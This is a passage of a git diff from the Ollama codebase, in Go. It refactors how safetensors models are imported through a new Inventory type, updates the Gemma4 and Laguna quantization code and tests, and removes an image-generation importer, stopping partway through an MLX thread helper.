- - transposedShape := []int32{td.Shape[1], td.Shape[2]} - - results := make([]*safetensors.TensorData, numExperts) - for e := range numExperts { - expertName := fmt.Sprintf("%s.experts.%d.%s.weight", moePrefix, e, projName) - start := e * perExpertBytes - end := start + perExpertBytes - results[e] = safetensors.NewTensorDataFromBytes(expertName, td.Dtype, transposedShape, raw[start:end]) - } - - return results, nil + layer := layerIndex(name) + return layer >= 0 && useMoreBits(layer, t.numLayers) } diff --git a/x/create/gemma4_test.go b/x/create/gemma4_test.go index de7b53b98..622abb8c5 100644 --- a/x/create/gemma4_test.go +++ b/x/create/gemma4_test.go @@ -1,8 +1,7 @@ package create import ( - "os" - "path/filepath" + "encoding/json" "testing" ) @@ -11,27 +10,40 @@ func TestGemma4UnifiedImportTransformRegistration(t *testing.T) { name string configJSON string cfg sourceModelConfig + wantErr bool + wantLayers int }{ { name: "unified conditional generation architecture", configJSON: `{"architectures":["Gemma4UnifiedForConditionalGeneration"],"text_config":{"num_hidden_layers":48}}`, cfg: sourceModelConfig{Architectures: []string{"Gemma4UnifiedForConditionalGeneration"}}, + wantLayers: 48, }, { name: "unified model type fallback", configJSON: `{"model_type":"gemma4_unified","text_config":{"num_hidden_layers":48}}`, cfg: sourceModelConfig{ModelType: "gemma4_unified"}, + wantLayers: 48, + }, + { + name: "malformed config is a hard error", + configJSON: `{"architectures":["Gemma4UnifiedForConditionalGeneration"],"num_hidden_layers":"oops"}`, + cfg: sourceModelConfig{Architectures: []string{"Gemma4UnifiedForConditionalGeneration"}}, + wantErr: true, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { - dir := t.TempDir() - if err := os.WriteFile(filepath.Join(dir, "config.json"), []byte(tt.configJSON), 0o644); err != nil { - t.Fatal(err) - } + inv := Inventory{Config: tt.cfg, RawConfig: json.RawMessage(tt.configJSON)} - transform, err := newTensorImportTransform(dir, tt.cfg) + transform, err := newTensorImportTransform(inv) + if tt.wantErr { + if err == nil { + t.Fatalf("newTensorImportTransform() error = nil, want error") + } + return + } if err != nil { t.Fatalf("newTensorImportTransform() error = %v", err) } @@ -40,8 +52,8 @@ func TestGemma4UnifiedImportTransformRegistration(t *testing.T) { if !ok { t.Fatalf("newTensorImportTransform() = %T, want gemma4ImportTransform", transform) } - if gemmaTransform.numLayers != 48 { - t.Fatalf("numLayers = %d, want 48", gemmaTransform.numLayers) + if gemmaTransform.numLayers != tt.wantLayers { + t.Fatalf("numLayers = %d, want %d", gemmaTransform.numLayers, tt.wantLayers) } }) } @@ -151,7 +163,7 @@ func TestGemma4QuantizationType(t *testing.T) { // but not intercepted by gemma4's layer-position heuristic. // Falls through to GetTensorQuantization which applies uniform promotion. {"vision v_proj int4", transform26B, "model.vision_tower.encoder.layers.0.self_attn.v_proj.linear.weight", aligned, "int4", "int8"}, - {"vision v_proj nvfp4", transform26B, "model.vision_tower.encoder.layers.0.self_attn.v_proj.linear.weight", aligned, "nvfp4", "nvfp4"}, + {"vision v_proj nvfp4", transform26B, "model.vision_tower.encoder.layers.0.self_attn.v_proj.linear.weight", aligned, "nvfp4", "mxfp8"}, // Audio tower down_proj {"audio down_proj int4", transform26B, "model.audio_tower.layers.0.mlp.down_proj.linear.weight", aligned, "int4", ""}, {"audio down_proj nvfp4", transform26B, "model.audio_tower.layers.0.mlp.down_proj.linear.weight", aligned, "nvfp4", ""}, @@ -205,35 +217,3 @@ func TestUseMoreBits(t *testing.T) { t.Errorf("layer 5 should be promoted (periodic)") } } - -func TestIsGemma4StackedMoETensor(t *testing.T) { - tests := []struct { - label string - tensorName string - shape []int32 - want bool - }{ - // New-style: .experts.gate_up_proj - {"experts gate_up_proj 3D", "model.layers.0.experts.gate_up_proj", []int32{128, 1408, 2816}, true}, - {"experts down_proj 3D", "model.layers.0.experts.down_proj", []int32{128, 2816, 704}, true}, - // Old-style: .moe.gate_proj - {"moe gate_proj 3D", "model.layers.0.moe.gate_proj", []int32{128, 2112, 2816}, true}, - {"moe down_proj 3D", "model.layers.0.moe.down_proj.weight", []int32{128, 2816, 2112}, true}, - // Not stacked: 2D - {"2D weight", "model.layers.0.experts.gate_up_proj", []int32{1408, 2816}, false}, - // Not expert - {"non-expert 3D", "model.layers.0.mlp.gate_proj", []int32{3, 2816, 2816}, false}, - // Not a projection - {"expert non-proj", "model.layers.0.experts.scale", []int32{128, 1, 1}, false}, - } - - for _, tt := range tests { - t.Run(tt.label, func(t *testing.T) { - got := isGemma4StackedMoETensor(tt.tensorName, tt.shape) - if got != tt.want { - t.Errorf("isGemma4StackedMoETensor(%q, %v) = %v, want %v", - tt.tensorName, tt.shape, got, tt.want) - } - }) - } -} diff --git a/x/create/imagegen.go b/x/create/imagegen.go deleted file mode 100644 index 09c832137..000000000 --- a/x/create/imagegen.go +++ /dev/null @@ -1,230 +0,0 @@ -package create - -import ( - "bytes" - "encoding/json" - "fmt" - "io" - "os" - "path/filepath" - "strings" - - "github.com/ollama/ollama/x/safetensors" -) - -// CreateImageGenModel imports an image generation model from a directory. -// Stores each tensor as a separate blob for fine-grained deduplication. -// If quantize is specified, linear weights in transformer/text_encoder are quantized. -// Supported quantization types: int4, int8, nvfp4, mxfp8 (or empty for no quantization). -// Layer creation and manifest writing are done via callbacks to avoid import cycles. -func CreateImageGenModel(modelName, modelDir, quantize string, createLayer LayerCreator, createTensorLayer QuantizingTensorLayerCreator, writeManifest ManifestWriter, fn func(status string)) error { - // Validate quantization type - switch quantize { - case "", "int4", "int8", "nvfp4", "mxfp8": - // valid - default: - return fmt.Errorf("unsupported quantization type %q: supported types are int4, int8, nvfp4, mxfp8", quantize) - } - - var layers []LayerInfo - var configLayer LayerInfo - var totalParams int64 // Count parameters from original tensor shapes - var torchDtype string // Read from component config for quantization display - - // Components to process - extract individual tensors from each - components := []string{"text_encoder", "transformer", "vae"} - - for _, component := range components { - componentDir := filepath.Join(modelDir, component) - if _, err := os.Stat(componentDir); os.IsNotExist(err) { - continue - } - - // Find all safetensors files in this component - entries, err := os.ReadDir(componentDir) - if err != nil { - return fmt.Errorf("failed to read %s: %w", component, err) - } - - for _, entry := range entries { - if !strings.HasSuffix(entry.Name(), ".safetensors") { - continue - } - - stPath := filepath.Join(componentDir, entry.Name()) - - // Extract individual tensors from safetensors file - extractor, err := safetensors.OpenForExtraction(stPath) - if err != nil { - return fmt.Errorf("failed to open %s: %w", stPath, err) - } - - tensorNames := extractor.ListTensors() - quantizeMsg := "" - if quantize != "" && component != "vae" { - quantizeMsg = ", quantizing to " + quantize - } - fn(fmt.Sprintf("importing %s/%s (%d tensors%s)", component, entry.Name(), len(tensorNames), quantizeMsg)) - - for _, tensorName := range tensorNames { - td, err := extractor.GetTensor(tensorName) - if err != nil { - extractor.Close() - return fmt.Errorf("failed to get tensor %s: %w", tensorName, err) - } - - // Count parameters from original tensor shape - if len(td.Shape) > 0 { - numElements := int64(1) - for _, dim := range td.Shape { - numElements *= int64(dim) - } - totalParams += numElements - } - - // Store as minimal safetensors format (88 bytes header overhead) - // This enables native mmap loading via mlx_load_safetensors - // Use path-style name: "component/tensor_name" - fullName := component + "/" + tensorName - - // Determine quantization type for this tensor (empty string if not quantizing) - quantizeType := "" - if quantize != "" && ShouldQuantize(tensorName, component) && canQuantizeShape(td.Shape, quantize) { - quantizeType = quantize - } - - // createTensorLayer returns multiple layers if quantizing (weight + scales) - newLayers, err := createTensorLayer(td.SafetensorsReader(), fullName, td.Dtype, td.Shape, quantizeType) - if err != nil { - extractor.Close() - return fmt.Errorf("failed to create layer for %s: %w", fullName, err) - } - layers = append(layers, newLayers...) - } - - extractor.Close() - } - } - - // Read torch_dtype from text_encoder config for quantization display - if torchDtype == "" { - textEncoderConfig := filepath.Join(modelDir, "text_encoder/config.json") - if data, err := os.ReadFile(textEncoderConfig); err == nil { - var cfg struct { - TorchDtype string `json:"torch_dtype"` - } - if json.Unmarshal(data, &cfg) == nil && cfg.TorchDtype != "" { - torchDtype = cfg.TorchDtype - } - } - } - - // Import config files - configFiles := []string{ - "model_index.json", - "text_encoder/config.json", - "text_encoder/generation_config.json", - "transformer/config.json", - "vae/config.json", - "scheduler/scheduler_config.json", - "tokenizer/tokenizer.json", - "tokenizer/tokenizer_config.json", - "tokenizer/vocab.json", - } - - for _, cfgPath := range configFiles { - fullPath := filepath.Join(modelDir, cfgPath) - if _, err := os.Stat(fullPath); os.IsNotExist(err) { - continue - } - - fn(fmt.Sprintf("importing config %s", cfgPath)) - - var r io.Reader - - // For model_index.json, normalize to Ollama format and add metadata - if cfgPath == "model_index.json" { - data, err := os.ReadFile(fullPath) - if err != nil { - return fmt.Errorf("failed to read %s: %w", cfgPath, err) - } - - var cfg map[string]any - if err := json.Unmarshal(data, &cfg); err != nil { - return fmt.Errorf("failed to parse %s: %w", cfgPath, err) - } - - // Rename _class_name to architecture, remove diffusers-specific fields - if className, ok := cfg["_class_name"]; ok { - cfg["architecture"] = className - delete(cfg, "_class_name") - } - delete(cfg, "_diffusers_version") - - // Add parameter count (counted from tensor shapes during import) - cfg["parameter_count"] = totalParams - - // Add quantization info - use quantize type if set, otherwise torch_dtype - if quantize != "" { - cfg["quantization"] = strings.ToUpper(quantize) - } else { - cfg["quantization"] = torchDtype - } - - data, err = json.MarshalIndent(cfg, "", " ") - if err != nil { - return fmt.Errorf("failed to marshal %s: %w", cfgPath, err) - } - r = bytes.NewReader(data) - } else { - f, err := os.Open(fullPath) - if err != nil { - return fmt.Errorf("failed to open %s: %w", cfgPath, err) - } - defer f.Close() - r = f - } - - layer, err := createLayer(r, "application/vnd.ollama.image.json", cfgPath) - if err != nil { - return fmt.Errorf("failed to create layer for %s: %w", cfgPath, err) - } - - // Use model_index.json as the config layer - if cfgPath == "model_index.json" { - configLayer = layer - } - - layers = append(layers, layer) - } - - if configLayer.Digest == "" { - return fmt.Errorf("model_index.json not found in %s", modelDir) - } - - fn(fmt.Sprintf("writing manifest for %s", modelName)) - - if err := writeManifest(modelName, configLayer, layers); err != nil { - return fmt.Errorf("failed to write manifest: %w", err) - } - - fn(fmt.Sprintf("successfully imported %s with %d layers", modelName, len(layers))) - return nil -} - -// canQuantizeShape returns true if a tensor shape is compatible with MLX quantization. -// MLX requires the last dimension to be divisible by the group size. -// nvfp4: 16, int4/mxfp8: 32, int8: 64 -func canQuantizeShape(shape []int32, quantize string) bool { - if len(shape) < 2 { - return false - } - groupSize := int32(32) - switch strings.ToUpper(quantize) { - case "NVFP4": - groupSize = 16 - case "INT8": - groupSize = 64 - } - return shape[len(shape)-1]%groupSize == 0 -} diff --git a/x/create/inventory.go b/x/create/inventory.go new file mode 100644 index 000000000..6a3995dc7 --- /dev/null +++ b/x/create/inventory.go @@ -0,0 +1,124 @@ +package create + +import ( + "encoding/json" + "fmt" + "os" + "path/filepath" + "strings" + + "github.com/ollama/ollama/x/safetensors" +) + +// SourceTensor describes one tensor found in a source model: its on-disk type +// and shape and which safetensors file holds it. It carries no weight data — +// only what the header and shard index reveal. +type SourceTensor struct { + Name string + Dtype string + Shape []int32 + File string // safetensors file basename, relative to the model directory +} + +// Inventory is the immutable result of reading a source model: every tensor +// indexed by name, plus the parsed config and the model directory. Reading +// source headers happens only here; the classify, plan, and write steps work +// entirely from this listing and never re-open a source header to make a +// decision. RawConfig holds the config.json bytes so architecture-specific +// factories can parse their own fields without re-opening the file. +type Inventory struct { + Dir string + Config sourceModelConfig + RawConfig json.RawMessage + Tensors map[string]SourceTensor +} + +// Has reports whether a tensor with the given name exists in the source. +func (inv Inventory) Has(name string) bool { + _, ok := inv.Tensors[name] + return ok +} + +// ReadInventory reads a source model directory into an Inventory: the config, +// the shard index, and every tensor's header. It reads no weight data. If the +// shard index references a tensor that cannot be found (a missing or truncated +// shard, e.g. a partial download), it fails rather than silently producing an +// incomplete model. +func ReadInventory(dir string) (Inventory, error) { + cfg, rawConfig, err := readSourceModelConfig(dir) + if err != nil { + return Inventory{}, fmt.Errorf("read config: %w", err) + } + + index, err := readSourceTensorFiles(dir) + if err != nil { + return Inventory{}, fmt.Errorf("read tensor index: %w", err) + } + + entries, err := os.ReadDir(dir) + if err != nil { + return Inventory{}, err + } + + // Only the standard HF weights - a monolithic model.safetensors or the + // sharded model-*.safetensors set - are imported. Other safetensors in the + // same repo - notably Mistral's consolidated-*.safetensors - use a layout + // we don't support, and are skipped so they can't shadow or pollute the + // model tensors. + var monolithic bool + var files []string + for _, entry := range entries { + if entry.IsDir() || !strings.HasSuffix(entry.Name(), ".safetensors") || !strings.HasPrefix(entry.Name(), "model") { + continue + } + if entry.Name() == "model.safetensors" { + monolithic = true + } + files = append(files, entry.Name()) + } + if monolithic && len(files) > 1 { + return Inventory{}, fmt.Errorf("found both model.safetensors and sharded model-*.safetensors weights in %s: ambiguous source", dir) + } + + tensors := make(map[string]SourceTensor) + for _, file := range files { + ext, err := safetensors.OpenForExtraction(filepath.Join(dir, file)) + if err != nil { + return Inventory{}, fmt.Errorf("open %s: %w", file, err) + } + for _, name := range ext.ListTensors() { + td, err := ext.GetTensor(name) + if err != nil { + ext.Close() + return Inventory{}, fmt.Errorf("read tensor %s from %s: %w", name, file, err) + } + if prev, ok := tensors[name]; ok { + ext.Close() + return Inventory{}, fmt.Errorf("duplicate tensor %s: found in both %s and %s", name, prev.File, file) + } + tensors[name] = SourceTensor{ + Name: name, + Dtype: td.Dtype, + Shape: td.Shape, + File: file, + } + } + ext.Close() + } + + // Completeness: every tensor named in the shard index must actually be + // present. A missing shard (or an index entry whose shard lacks the + // tensor) means missing weights, which must fail loudly here rather than + // silently importing an incomplete model. + for name, file := range index { + if _, ok := tensors[name]; !ok { + return Inventory{}, fmt.Errorf("source model is incomplete: tensor %s (indexed in %q) was not found", name, file) + } + } + + if len(tensors) == 0 { + return Inventory{}, fmt.Errorf("no model.safetensors or model-*.safetensors weights found in %s", dir) + } + + return Inventory{Dir: dir, Config: cfg, RawConfig: rawConfig, Tensors: tensors}, nil +} diff --git a/x/create/inventory_test.go b/x/create/inventory_test.go new file mode 100644 index 000000000..cad766ae4 --- /dev/null +++ b/x/create/inventory_test.go @@ -0,0 +1,134 @@ +package create + +import ( + "os" + "path/filepath" + "slices" + "strings" + "testing" + + st "github.com/ollama/ollama/x/safetensors" +) + +func writeConfigJSON(t *testing.T, dir, content string) { + t.Helper() + if err := os.WriteFile(filepath.Join(dir, "config.json"), []byte(content), 0o644); err != nil { + t.Fatal(err) + } +} + +func TestReadInventory(t *testing.T) { + dir := t.TempDir() + writeConfigJSON(t, dir, `{"architectures":["TestModel"]}`) + createTestSafetensors(t, filepath.Join(dir, "model.safetensors"), []*st.TensorData{ + st.NewTensorDataFromBytes("model.embed.weight", "BF16", []int32{4, 8}, make([]byte, 4*8*2)), + st.NewTensorDataFromBytes("model.layers.0.weight", "BF16", []int32{8, 8}, make([]byte, 8*8*2)), + }) + + inv, err := ReadInventory(dir) + if err != nil { + t.Fatalf("ReadInventory() error = %v", err) + } + if len(inv.Tensors) != 2 { + t.Fatalf("got %d tensors, want 2", len(inv.Tensors)) + } + embed, ok := inv.Tensors["model.embed.weight"] + if !ok { + t.Fatal("missing model.embed.weight") + } + if embed.Dtype != "BF16" || !slices.Equal(embed.Shape, []int32{4, 8}) || embed.File != "model.safetensors" { + t.Errorf("embed tensor = %+v", embed) + } + if !inv.Has("model.layers.0.weight") { + t.Error("Has(model.layers.0.weight) = false, want true") + } +} + +func TestReadInventoryIncomplete(t *testing.T) { + dir := t.TempDir() + writeConfigJSON(t, dir, `{"architectures":["TestModel"]}`) + createTestSafetensors(t, filepath.Join(dir, "model-00001-of-00002.safetensors"), []*st.TensorData{ + st.NewTensorDataFromBytes("model.a.weight", "BF16", []int32{4, 4}, make([]byte, 4*4*2)), + }) + // The index references a second shard that is not present on disk. + index := `{"weight_map":{"model.a.weight":"model-00001-of-00002.safetensors","model.b.weight":"model-00002-of-00002.safetensors"}}` + if err := os.WriteFile(filepath.Join(dir, "model.safetensors.index.json"), []byte(index), 0o644); err != nil { + t.Fatal(err) + } + + _, err := ReadInventory(dir) + if err == nil || !strings.Contains(err.Error(), "incomplete") { + t.Fatalf("ReadInventory() error = %v, want substring %q", err, "incomplete") + } +} + +func TestReadInventorySkipsConsolidated(t *testing.T) { + dir := t.TempDir() + writeConfigJSON(t, dir, `{"architectures":["TestModel"]}`) + // Standard HF weights — imported. + createTestSafetensors(t, filepath.Join(dir, "model.safetensors"), []*st.TensorData{ + st.NewTensorDataFromBytes("model.layers.0.weight", "BF16", []int32{8, 8}, make([]byte, 8*8*2)), + }) + // Mistral consolidated weights shipped in the same repo — must be ignored so + // they can't shadow or pollute the model tensors. + createTestSafetensors(t, filepath.Join(dir, "consolidated-00001-of-00001.safetensors"), []*st.TensorData{ + st.NewTensorDataFromBytes("layers.0.attention.wq.weight", "BF16", []int32{8, 8}, make([]byte, 8*8*2)), + }) + + inv, err := ReadInventory(dir) + if err != nil { + t.Fatalf("ReadInventory() error = %v", err) + } + if len(inv.Tensors) != 1 || !inv.Has("model.layers.0.weight") { + t.Errorf("tensors = %v, want only model.layers.0.weight", inv.Tensors) + } + if inv.Has("layers.0.attention.wq.weight") { + t.Error("consolidated tensor was imported; consolidated-*.safetensors must be skipped") + } +} + +func TestReadInventoryRejectsMonolithicPlusShards(t *testing.T) { + dir := t.TempDir() + writeConfigJSON(t, dir, `{"architectures":["TestModel"]}`) + createTestSafetensors(t, filepath.Join(dir, "model.safetensors"), []*st.TensorData{ + st.NewTensorDataFromBytes("model.a.weight", "BF16", []int32{4, 4}, make([]byte, 4*4*2)), + }) + createTestSafetensors(t, filepath.Join(dir, "model-00001-of-00001.safetensors"), []*st.TensorData{ + st.NewTensorDataFromBytes("model.a.weight", "BF16", []int32{4, 4}, make([]byte, 4*4*2)), + }) + + _, err := ReadInventory(dir) + if err == nil || !strings.Contains(err.Error(), "ambiguous") { + t.Fatalf("ReadInventory() error = %v, want an 'ambiguous source' error", err) + } +} + +func TestReadInventoryRejectsDuplicateTensorAcrossShards(t *testing.T) { + dir := t.TempDir() + writeConfigJSON(t, dir, `{"architectures":["TestModel"]}`) + createTestSafetensors(t, filepath.Join(dir, "model-00001-of-00002.safetensors"), []*st.TensorData{ + st.NewTensorDataFromBytes("model.a.weight", "BF16", []int32{4, 4}, make([]byte, 4*4*2)), + }) + createTestSafetensors(t, filepath.Join(dir, "model-00002-of-00002.safetensors"), []*st.TensorData{ + st.NewTensorDataFromBytes("model.a.weight", "BF16", []int32{4, 4}, make([]byte, 4*4*2)), + }) + + _, err := ReadInventory(dir) + if err == nil || !strings.Contains(err.Error(), "duplicate tensor") { + t.Fatalf("ReadInventory() error = %v, want a 'duplicate tensor' error", err) + } +} + +func TestReadInventoryNoModelWeights(t *testing.T) { + dir := t.TempDir() + writeConfigJSON(t, dir, `{"architectures":["TestModel"]}`) + // Only consolidated weights present — nothing importable. + createTestSafetensors(t, filepath.Join(dir, "consolidated.safetensors"), []*st.TensorData{ + st.NewTensorDataFromBytes("layers.0.attention.wq.weight", "BF16", []int32{8, 8}, make([]byte, 8*8*2)), + }) + + _, err := ReadInventory(dir) + if err == nil || !strings.Contains(err.Error(), "no model") { + t.Fatalf("ReadInventory() error = %v, want a 'no model ... weights' error", err) + } +} diff --git a/x/create/laguna.go b/x/create/laguna.go index 8355c9dba..0e5b4de61 100644 --- a/x/create/laguna.go +++ b/x/create/laguna.go @@ -1,26 +1,16 @@ package create import ( + "encoding/json" "strings" - - "github.com/ollama/ollama/x/safetensors" ) type lagunaImportTransform struct{} -func newLagunaImportTransform(string, sourceModelConfig) (tensorImportTransform, error) { +func newLagunaImportTransform(json.RawMessage) (quantizePolicy, error) { return lagunaImportTransform{}, nil } -func (lagunaImportTransform) skipTensor(string) bool { return false } - -func (lagunaImportTransform) transformTensor(td *safetensors.TensorData) ([]*safetensors.TensorData, error) { - if td == nil { - return nil, nil - } - return []*safetensors.TensorData{td}, nil -} - func (lagunaImportTransform) quantizationType(name string, shape []int32, quantize string) string { if !lagunaIsHFRoutedExpertWeight(name) { return "" @@ -28,32 +18,6 @@ func (lagunaImportTransform) quantizationType(name string, shape []int32, quanti return GetTensorQuantization(name, shape, quantize) } -func (lagunaImportTransform) sourceFP8TensorQuantization(name string, shape []int32, requested string, fallback string) string { - if !lagunaIsHFRoutedExpertWeight(name) { - return "" - } - - switch normalizeQuantType(requested) { - case "nvfp4", "mxfp4": - if lagunaKeepSourceFP8TensorAtMXFP8(name, shape) { - return "mxfp8" - } - } - return fallback -} - -func (lagunaImportTransform) sourceFP8BF16Quantization(string, []int32, string) string { - return "" -} - -func lagunaKeepSourceFP8TensorAtMXFP8(name string, shape []int32) bool { - if len(shape) != 2 || !isAligned(shape, "mxfp8") { - return false - } - - return strings.Contains(name, "down_proj") -} - func lagunaIsHFRoutedExpertWeight(name string) bool { return strings.HasSuffix(name, ".weight") && strings.Contains(name, ".mlp.experts.") } diff --git a/x/create/laguna_test.go b/x/create/laguna_test.go deleted file mode 100644 index 7e122366e..000000000 --- a/x/create/laguna_test.go +++ /dev/null @@ -1,200 +0,0 @@ -package create - -import ( - "io" - "os" - "path/filepath" - "testing" - - st "github.com/ollama/ollama/x/safetensors" -) - -func TestCreateSafetensorsModel_LagunaHFFP8RespectsSourceTensorPrecision(t *testing.T) { - tests := []struct { - name string - requested string - wantFP8Gate string - wantFP8Up string - wantFP8Down string - wantBF16QProj string - }{ - { - name: "default mxfp8 import keeps source bf16 tensors", - requested: "", - wantFP8Gate: "mxfp8", - wantFP8Up: "mxfp8", - wantFP8Down: "mxfp8", - wantBF16QProj: "", - }, - { - name: "nvfp4 import keeps source bf16 tensors and preserves down_proj at mxfp8", - requested: "nvfp4", - wantFP8Gate: "nvfp4", - wantFP8Up: "nvfp4", - wantFP8Down: "mxfp8", - wantBF16QProj: "", - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - dir := t.TempDir() - configJSON := `{ - "model_type": "laguna", - "architectures": ["LagunaForCausalLM"], - "quantization_config": {"quant_method": "fp8", "weight_block_size": [128, 128]} - }` - if err := os.WriteFile(filepath.Join(dir, "config.json"), []byte(configJSON), 0o644); err != nil { - t.Fatalf("failed to write config.json: %v", err) - } - - createTestSafetensors(t, filepath.Join(dir, "model.safetensors"), []*st.TensorData{ - st.NewTensorDataFromBytes("model.layers.0.mlp.experts.0.gate_proj.weight", "F8_E4M3", []int32{128, 128}, make([]byte, 128*128)), - st.NewTensorDataFromBytes("model.layers.0.mlp.experts.0.gate_proj.weight_scale_inv", "BF16", []int32{1, 1}, make([]byte, 2)), - st.NewTensorDataFromBytes("model.layers.0.mlp.experts.0.up_proj.weight", "F8_E4M3", []int32{128, 128}, make([]byte, 128*128)), - st.NewTensorDataFromBytes("model.layers.0.mlp.experts.0.up_proj.weight_scale_inv", "BF16", []int32{1, 1}, make([]byte, 2)), - st.NewTensorDataFromBytes("model.layers.0.mlp.experts.0.down_proj.weight", "F8_E4M3", []int32{128, 128}, make([]byte, 128*128)), - st.NewTensorDataFromBytes("model.layers.0.mlp.experts.0.down_proj.weight_scale_inv", "BF16", []int32{1, 1}, make([]byte, 2)), - st.NewTensorDataFromBytes("model.layers.0.self_attn.q_proj.weight", "BF16", []int32{128, 128}, make([]byte, 128*128*2)), - st.NewTensorDataFromBytes("model.embed_tokens.weight", "BF16", []int32{128, 128}, make([]byte, 128*128*2)), - st.NewTensorDataFromBytes("lm_head.weight", "BF16", []int32{128, 128}, make([]byte, 128*128*2)), - st.NewTensorDataFromBytes("model.layers.0.mlp.gate.weight", "BF16", []int32{128, 128}, make([]byte, 128*128*2)), - }) - - quantizeByName := make(map[string]string) - - createLayer := func(r io.Reader, mediaType, name string) (LayerInfo, error) { - if _, err := io.ReadAll(r); err != nil { - return LayerInfo{}, err - } - return LayerInfo{Name: name, Digest: "sha256:" + name, MediaType: mediaType}, nil - } - createTensorLayer := func(r io.Reader, name, dtype string, shape []int32, quantize string) ([]LayerInfo, error) { - if _, err := io.ReadAll(r); err != nil { - return nil, err - } - quantizeByName[name] = quantize - return []LayerInfo{{Name: name, Digest: "sha256:tensor_" + name, MediaType: "application/vnd.ollama.image.tensor"}}, nil - } - writeManifest := func(modelName string, config LayerInfo, layers []LayerInfo) error { return nil } - - if err := CreateSafetensorsModel("test-model", dir, tt.requested, createLayer, createTensorLayer, writeManifest, func(string) {}); err != nil { - t.Fatalf("CreateSafetensorsModel failed: %v", err) - } - - if got := quantizeByName["model.layers.0.mlp.experts.0.gate_proj.weight"]; got != tt.wantFP8Gate { - t.Fatalf("gate_proj quantization = %q, want %q", got, tt.wantFP8Gate) - } - if got := quantizeByName["model.layers.0.mlp.experts.0.up_proj.weight"]; got != tt.wantFP8Up { - t.Fatalf("up_proj quantization = %q, want %q", got, tt.wantFP8Up) - } - if got := quantizeByName["model.layers.0.mlp.experts.0.down_proj.weight"]; got != tt.wantFP8Down { - t.Fatalf("down_proj quantization = %q, want %q", got, tt.wantFP8Down) - } - for _, name := range []string{ - "model.layers.0.self_attn.q_proj.weight", - "model.embed_tokens.weight", - "lm_head.weight", - "model.layers.0.mlp.gate.weight", - } { - if got := quantizeByName[name]; got != tt.wantBF16QProj { - t.Fatalf("%s quantization = %q, want %q", name, got, tt.wantBF16QProj) - } - } - }) - } -} - -func TestCreateSafetensorsModel_LagunaBF16QuantizesOnlyRoutedExperts(t *testing.T) { - tests := []struct { - name string - requested string - want map[string]string - }{ - { - name: "int8 quantizes only routed experts", - requested: "int8", - want: map[string]string{ - "model.layers.0.mlp.experts.0.gate_proj.weight": "int8", - "model.layers.0.mlp.experts.0.up_proj.weight": "int8", - "model.layers.0.mlp.experts.0.down_proj.weight": "int8", - "model.layers.0.mlp.shared_experts.gate_proj.weight": "", - "model.layers.0.mlp.shared_experts.down_proj.weight": "", - "model.layers.0.self_attn.q_proj.weight": "", - "model.layers.0.mlp.down_proj.weight": "", - "model.embed_tokens.weight": "", - "lm_head.weight": "", - "model.layers.0.mlp.gate.weight": "", - }, - }, - { - name: "int4 keeps routed down_proj at int8 and leaves others bf16", - requested: "int4", - want: map[string]string{ - "model.layers.0.mlp.experts.0.gate_proj.weight": "int4", - "model.layers.0.mlp.experts.0.up_proj.weight": "int4", - "model.layers.0.mlp.experts.0.down_proj.weight": "int8", - "model.layers.0.mlp.shared_experts.gate_proj.weight": "", - "model.layers.0.mlp.shared_experts.down_proj.weight": "", - "model.layers.0.self_attn.q_proj.weight": "", - "model.layers.0.mlp.down_proj.weight": "", - "model.embed_tokens.weight": "", - "lm_head.weight": "", - "model.layers.0.mlp.gate.weight": "", - }, - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - dir := t.TempDir() - configJSON := `{ - "model_type": "laguna", - "architectures": ["LagunaForCausalLM"] - }` - if err := os.WriteFile(filepath.Join(dir, "config.json"), []byte(configJSON), 0o644); err != nil { - t.Fatalf("failed to write config.json: %v", err) - } - - createTestSafetensors(t, filepath.Join(dir, "model.safetensors"), []*st.TensorData{ - st.NewTensorDataFromBytes("model.layers.0.mlp.experts.0.gate_proj.weight", "BF16", []int32{128, 128}, make([]byte, 128*128*2)), - st.NewTensorDataFromBytes("model.layers.0.mlp.experts.0.up_proj.weight", "BF16", []int32{128, 128}, make([]byte, 128*128*2)), - st.NewTensorDataFromBytes("model.layers.0.mlp.experts.0.down_proj.weight", "BF16", []int32{128, 128}, make([]byte, 128*128*2)), - st.NewTensorDataFromBytes("model.layers.0.mlp.shared_experts.gate_proj.weight", "BF16", []int32{128, 128}, make([]byte, 128*128*2)), - st.NewTensorDataFromBytes("model.layers.0.mlp.shared_experts.down_proj.weight", "BF16", []int32{128, 128}, make([]byte, 128*128*2)), - st.NewTensorDataFromBytes("model.layers.0.self_attn.q_proj.weight", "BF16", []int32{128, 128}, make([]byte, 128*128*2)), - st.NewTensorDataFromBytes("model.layers.0.mlp.down_proj.weight", "BF16", []int32{128, 128}, make([]byte, 128*128*2)), - st.NewTensorDataFromBytes("model.embed_tokens.weight", "BF16", []int32{128, 128}, make([]byte, 128*128*2)), - st.NewTensorDataFromBytes("lm_head.weight", "BF16", []int32{128, 128}, make([]byte, 128*128*2)), - st.NewTensorDataFromBytes("model.layers.0.mlp.gate.weight", "BF16", []int32{128, 128}, make([]byte, 128*128*2)), - }) - - quantizeByName := make(map[string]string) - - createLayer := func(r io.Reader, mediaType, name string) (LayerInfo, error) { - if _, err := io.ReadAll(r); err != nil { - return LayerInfo{}, err - } - return LayerInfo{Name: name, Digest: "sha256:" + name, MediaType: mediaType}, nil - } - createTensorLayer := func(r io.Reader, name, dtype string, shape []int32, quantize string) ([]LayerInfo, error) { - if _, err := io.ReadAll(r); err != nil { - return nil, err - } - quantizeByName[name] = quantize - return []LayerInfo{{Name: name, Digest: "sha256:tensor_" + name, MediaType: "application/vnd.ollama.image.tensor"}}, nil - } - writeManifest := func(modelName string, config LayerInfo, layers []LayerInfo) error { return nil } - - if err := CreateSafetensorsModel("test-model", dir, tt.requested, createLayer, createTensorLayer, writeManifest, func(string) {}); err != nil { - t.Fatalf("CreateSafetensorsModel failed: %v", err) - } - - for name, want := range tt.want { - if got := quantizeByName[name]; got != want { - t.Fatalf("%s quantization = %q, want %q", name, got, want) - } - } - }) - } -} diff --git a/x/create/mlxthread.go b/x/create/mlxthread.go new file mode 100644 index 000000000..590a15dfb --- /dev/null +++ b/x/create/mlxthread.go @@ -0,0 +1,72 @@ +package create + +import ( + "fmt" + "runtime" + "sync" + "sync/atomic" + + "github.com/ollama/ollama/x/mlxrunner/mlx" +) + +var ( + mlxThreadOnce sync.Once + mlxThreadStarted atomic.Bool + mlxWork chan func() + mlxInitErr error +) + +// runOnMLXThread runs f on the MLX thread and returns its error. The thread is +// started (and MLX initialized) on first use. A panic in f is recovered 